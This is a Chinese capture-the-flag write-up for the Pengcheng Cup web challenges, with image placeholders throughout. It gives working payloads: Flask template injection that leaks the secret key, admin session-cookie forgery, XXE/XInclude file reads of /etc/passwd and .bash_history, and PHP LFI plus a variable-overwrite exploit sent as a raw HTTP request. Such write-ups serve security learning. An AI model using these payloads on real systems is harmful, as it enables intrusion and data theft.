[鹏城杯线上] web部分writeup

[鹏城杯] web部分writeup

这次鹏城杯是真的对web不友好。

[鹏城杯线上] web部分writeup_第1张图片
-w1022

最终成绩,还是得赞叹一下我们队的bin大佬们太强了@ arisch1p还有 veritas

shadow

这题出的还是挺好的
58.20.46.151:25956

信息收集

[鹏城杯线上] web部分writeup_第2张图片
image

访问下upload


[鹏城杯线上] web部分writeup_第3张图片
image

有个提示得admin才可以进入
猜测是session伪造,可是session伪造需要secret_key
怎么获得=。=,于是想到flask经常有注入问题的404页面


[鹏城杯线上] web部分writeup_第4张图片
-w850

说明可以SSTI
到此:
已经有了利用链
SSTI读serect_key -> session伪造 -> 文件上传

不过python的文件上传传了文件也想不到利用点,估计是别的漏洞

模板注入读serect_key

在fuzz测试的时候发现(,)被过滤了
发现不能调用函数了,没法反弹shell
目的是为了读取serect_key
就需要读一下flask的全局变量
使用 url_for 或者 get_flashed_messages 调取 current_app 进而读取config
flask官方文档:http://flask.pocoo.org/docs/1.0/api/#flask.url_forbaobaoer.cn/archives/656/python-b2e7b180e9b880e793

ssti的两个payload:

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

-w1273

SECRET_KEY': 'as/*d21as-+dhasod5a4s54:><*()dfdsf'
得到了 SECRET_KEY

伪造cookie登录admin

这一步我之前一直是用

-w788

如果伪造错了cookie就会使访问upload的时候500
但是不会显示 only admin可以登录的提示
这点让我在做题的时候一直觉得是题目挂了

最好不要在mac下运行,伪造的cookie是不能登录进去的。。

[鹏城杯线上] web部分writeup_第5张图片
-w962

先解密
在加密一下


[鹏城杯线上] web部分writeup_第6张图片
-w955
{u'csrf_token': 'd98ede90de976e09494b86cb5d4fdbbaf2ecbe1c', u'user_id': u'2', u'name': u'ckj123', u'_fresh': True, u'is_admin': True, u'_id': 'a79b8b35999242f82480f10eb6d1996a95c8d3ae594321969f1d8b5c050d6201821da8a6b5bb2fa55877c1b518b949074152a0c82c8412c4fc67843d6e8db28e'}

然后伪造cookie


[鹏城杯线上] web部分writeup_第7张图片
image

成功登录

XXE

就可以上传文件了
发现上传什么都是500,
在测试xxe的时候发现
ban了
就找一找别的payload
xxe payload找一下,发现可以用xinclude

payload:






[鹏城杯线上] web部分writeup_第8张图片
image

只能用file协议读文件考虑一下读 .bash_history
然后可以在 /etc/passwd看到多了一个rq用户读一下他的.bash_history

[鹏城杯线上] web部分writeup_第9张图片
image

可以看到有一个 f123333333ag的文件
读一下
[鹏城杯线上] web部分writeup_第10张图片
image

myblog

hint镇楼


[鹏城杯线上] web部分writeup_第11张图片
image

信息收集

nikto扫描一下可以发现有

[鹏城杯线上] web部分writeup_第12张图片
image

index.phpindex.html
index.php
[鹏城杯线上] web部分writeup_第13张图片
image

可以看到在响应头里面有一个flag的参数 base64解下码可以得到
[鹏城杯线上] web部分writeup_第14张图片
image

获得了一个 ?flag他的意思应该是给一个flag的参数

LFI

这时候就需要fuzz
当我fuzz到index的时候


[鹏城杯线上] web部分writeup_第15张图片
image

可以发现他500了,可以猜测500的原因应该是include了index.php
就可以知道他后面拼接了一个.php
然后用伪协议读一波


[鹏城杯线上] web部分writeup_第16张图片
-w1018

得到了base64的源码
转码之后得到

脑洞

最重要的地方来了,一直做不出来,直到给了hint
听说about也有后端
hint和题目一样脑洞,但是怎么读about.php就是读不到
后来s神说可能是base64的about
[图片上传失败...(image-e1b9e1-1544195326440)]
因为在站里面有个base64,尝试读取YWJvdXQ=.php

[鹏城杯线上] web部分writeup_第17张图片
image

解码

';
            echo file_get_contents($$falg);
        }
        else{
            echo 'don`t give up';
        }
    }
    
?>

变量覆盖

然后就是审这份代码了
可以看到filenameflag都是在extract的上面
就可以覆盖了这两个变量
file_get_contents这个函数支持php的伪协议所以用了最简单的php://input将filename覆盖成自己想要的值

GET /YWJvdXQ=.php?filename=php://input&sign=123&falg=flag HTTP/1.1
Host: 58.20.46.149:26376
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 3

123
[鹏城杯线上] web部分writeup_第18张图片
image

参考

http://flask.pocoo.org/docs/1.0/api/#flask.url_forbaobaoer.cn/archives/656/python-b2e7b180e9b880e793

总结

还是太菜了=。=,线下好好努力,拿个好成绩

你可能感兴趣的:([鹏城杯线上] web部分writeup)